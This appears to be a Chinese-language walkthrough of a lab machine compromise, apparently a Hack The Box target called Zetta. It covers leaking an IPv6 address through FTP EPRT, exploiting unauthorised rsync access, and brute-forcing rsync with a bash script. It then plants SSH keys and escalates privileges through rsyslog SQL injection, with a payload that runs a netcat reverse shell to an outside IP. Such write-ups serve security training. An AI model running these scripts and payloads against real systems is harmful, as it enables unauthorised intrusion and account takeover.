简介

该主机也是有点难的，之前的难点都是在漏洞发现或权限提升处，而这次确实在信息收集处。通过端口扫描发现开放的端口，网站本身是静态的，因此无法从网站进入主机，通过从网站中分析出目标主机FPT信息，结合IPv6和对FXP支持获取到目标主机IPv6地址，然后扫描IPv6地址，发现仅在IPv6下运行的服务——Rsync，通过该服务获取Shell进入主机，进而提升为postgres用户权限，然后利用明文信息本地保存结合社会工程学提升为root权限。

信息收集

从端口与服务

使用nmap 10.10.10.156 -A -sC -p 0-65535对目标主机进行扫描，如图：

发现开启21，22，80端口，操作系统应该是Debian 10了。尝试常见的ftp弱口令，如图：

发现无法登录成功，支持IPv6，不允许匿名访问。尝试Pure-FTPd存在的已知漏洞CVE-2014-6271，发现并不能执行命令，如图：

从网站

然后访问80端口，发现网站标题是Ze::a而不是Zetta，这或许是个提示吧，现在还不清楚是什么，访问的同时使用dirbruster扫描web目录，如图：

然而未发现有价值的信息，查看可访问的js文件也未发现特别之处，浏览网站发现网站是静态的，且页面基本相同，如图：

发现FTP支持FXP和RFC2428，和一些其它信息，在SHARING处发现不知道用什么算法加密的用户名和密码信息，如图：

看来十有八九是利用ftp获取Shell了，尝试使用base64解码发现是乱码，然后查看网页源代码，如图：

原来用户名和密码都是随机生成的32位字符串，尝试使用网站生产的随机字符串登录，可以成功登录，且支持FXP转发，而每次打开网页生成的随机字符串都是不同的，但却都可以登录，这说明使用相同的32位的字符串就可以登录ftp。如图：

然而目录下没有任何文件，除了上传文件没有别的功能了。

IPv6和FXP

然后查看RFC2428如图：

在IPv6中，FTP命令PORT和PASV分别被EPRT和EPSV取代，因此可以在连接到目标主机FTP服务后使用EPRT主动连接到客户机端口。使用nc -6lvp 4444开启IPv6的4444端口监听，然后使用nc连接目标主机FTP服务，登录之后执行EPRT |2|dead:beef:2::1042|4444|，接着执行LIST，如图：

执行之后可以看到返回的目标主机IPv6地址，如图：

也可以使用如下脚本获取目标主机IPv6地址：

#!/usr/bin/python3
import socket
import os

lisn=os.popen("nc -6lvp 4444")
ip6=os.popen("ifconfig tun0 | grep  'inet6 dead'").read().strip()
ip6=ip6.split(' ')[1]

s=socket.socket()
s.connect(('10.10.10.156',21))

rcv=s.recv(1024)
if b"220" in rcv:
    s.send("user aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n".encode())
    #print(s.recv(1024).decode())
    s.send("pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n".encode())
    #print(s.recv(1024).decode())
    s.send(("EPRT |2|"+ip6+"|4444|\n").encode())
    #print(s.recv(1024).decode())
    s.send(b"LIST\n")
    #print(s.recv(1024).decode())
    s.send(b"!\n")
    s.close()
#print(lisn.read())

ip6_dst=lisn.read()
print("ip6:",ip6_dst)

然后使用nmap -A -6 dead:beef::250:56ff:feb9:3343扫描目标主机，如图：

发现目标主机运行着rsync服务，可能存在未授权访问漏洞。

漏洞发现

然后使用rsync --list-only rsync://[dead:beef::250:56ff:feb9:3343]:8730列出同步目录，如图：

它提示必须需要授权才可以访问rsync服务器，未授权的访问需要负民事或者刑事责任（暗示可能存在未授权的访问），查看列出来的目录发现无权限访问，但查看目标服务器/etc/passwd文件权限，如图：

发现具有可读权限，然后使用rsync rsync://[dead:beef::250:56ff:feb9:3343]:8730/etc/passwd passwd将文件转储到本地，使用cat passwd查看，如图：

可以读取到/etc/passwd文件中存在普通用户roy，目标主机存在rsync未授权访问漏洞。

漏洞利用

然后查看/etc下其他文件，在/etc/rsyncd.conf中发现如下信息：

发现一个目录/home_roy，但是并未在之前的同步目录中显示，尝试访问需要登录。然后使用常见的弱口令尝试登录rsync rsync://roy@[dead:beef::250:56ff:feb9:3343]:8730/home_roy，未成功。然后自行编写Shell脚本进行暴力破解：

#!/bin/bash

cat /usr/share/wordlists/rockyou.txt | while read pass
do
    export RSYNC_PASSWORD=${pass}
    rsync rsync://roy@[dead:beef::250:56ff:feb9:229c]:8730/home_roy 2>&1 | grep -q "auth failed on module home_roy" || { echo -e "\033[;32;1m[+] Password: ${RSYNC_PASSWORD}\033[0m";break;}
done

执行之后等待一段时间，如图：

成功破解出密码，然后使用密码查看home_roy下的文件，如图：

然后将user.txt转储到本地即可，但对我来说没获得shell就是没有成功。然后在本机生成ssh密钥（全部都按回车），如图：

然后将/root/.ssh/id_rsa和id_rsa.pub复制到/root目录下，并将id_rsa.pub重命名为authorized_keys，接着使用rsync authorized_keys rsync://roy@[dead:beef::250:56ff:feb9:3343]:8730/home_roy/.ssh/将authorized_keys文件同步到目标主机.ssh目录下，然后查看是否存在，如图：

接着使用ssh -i id_rsa [email protected]登录目标主机，如图：

成功获得普通Shell。

权限提升

查看内核版本，如图：

又是4.19.0版本，且没有权限执行pkexec程序，因此无法使用CVE-2019-13272进行提权，而CVE-2019-8912没有公开的EXP因此也无法利用。

然后查看开启的端口，发现没有netstat命令的权限，然后查看运行的进程，如图：

运行的进程少的可怜，看来此路不通，继续寻找线索。

信息收集

发现用户目录下存在.tudu.xml文件，然后执行tudu命令查看信息，如图：

可以发现未启用将同步文件移动到git，启用了检查postgresql错误日志，未启用Lynis和更安全的策略。使用find / -name .git 2>/dev/null查找.git目录，如图：

然后依次查看，在/etc/pure-ftpd/.git/logs/下发现HEAD文件，如图：

尝试使用滥用授权进行提权，未成功。以同样的方法在/etc/nginx/.git/logs测试也未提权成功。但在/etc/rsyslog.d/.git/logs/下发现的HEAD文件可以获得一些信息，如图：

可以发现rsyslog使用数据库Syslog，uid和pwd等信息。然后使用git diff HEAD c98d292ac2981c0192a59d7cdad9d2d4a25bd4c5和HEAD文件比较一下，如图：

发现一个日志插入语句的模板，日志输入优先级local7.info，用户名密码和数据库名称信息。

漏洞发现

尝试使用psql命令结合用户名和密码登录数据库未成功，查看postgresql版本，如图：

看来不存在CVE-2019-9193漏洞。然后再次查看/etc/passwd文件发现postgre用户在PostgreSQL administrator组，家目录在/var/lib/postgresql，查看家目录，如图：

存在.ssh目录，但没有读取权限。然后查看postgresql的日志，如图：

未发现有用的信息。然后尝试写入日志，检测是否存在SQL注入漏洞，如图：

日志文件未发生变化，然后尝试多写入一个单引号，如图：

发现postgresql-11-main.log文件大小发生变化，查看日志后可以发现插入数据表syslog_lines的SQL语句在“2020”附近报错，说明存在SQL注入漏洞，且日志文件过一段时间会自动清空。

漏洞利用

构造Payload：abcd',null)-- -测试是否可以闭合前边的单引号和括号，如图：

没有产生新的内容，说明成功闭合单引号和括号。然后尝试利用SQL注入执行命令反弹postgre用户的shell，在本机开启4444端口监听，使用logger -p local7.info "abcd',null);CREATE TABLE IF NOT EXISTS cmd(string text);COPY cmd FROM PROGRAM 'nc -e /bin/sh 10.10.14.132 4444'; -- -"（由于网络环境差，重新构建实验室连接包后导致客户端IP地址变为10.10.14.132），如图：

SQL语句没有执行成功，“nc”附近的单引号被转义导致报错。使用Postgresql数据库的特性——“$$”符号代替单引号，如图：

发现shell将"$"识别为变量了，然后加反斜杠转义，如图：

这次的报错不是SQL语句了，而是不存在nc命令。然后将nc上传到目标服务器/tmp目录下在继续执行，如图：

还是显示命令未发现，但查看/tmp目录下确实是存在nc程序的，且有执行权限。尝试使用bash反弹shell也无法成功，看来此路可能也不通，然后尝试将/home/roy/.ssh/authorized_keys复制到/var/lib/postgresql/.ssh目录下，如图：

然后使用id_rsa连接远程主机，如图：

成功获得postgres的shell，然后查看之前没有权限的文件，如图：

发现是创建数据库的命令，且在最后一行有一串明文密码，尝试使用该密码登录，验证失败，然后仔细观察ALTER语句，猜测root用户的密码为sup3rs3cur3p4ass@root，然后使用该密码成功登录。

总结

对该靶机渗透的是有点困难的，主要是在信息收集和筛选上花费的时间较多。容易没思路的地方主要在：

IPv6和FXP相结合；
对roy用户的暴力破解；
对git命令不熟悉
rsyslog的SQL注入。

如果够细心的话第一点应该没有问题。一般我会先找漏洞，利用漏洞进入系统，而将暴力破解放到最后。对于第三点，那是真的没办法了，只能看WriteUp找思路了。如果第三点没问题，那rsyslog的SQL注入漏洞也就不难找到了，但需要花很长时间去查看各种文件，然后筛选有可能直接提升权限或切换用户的信息，进而提升为root权限。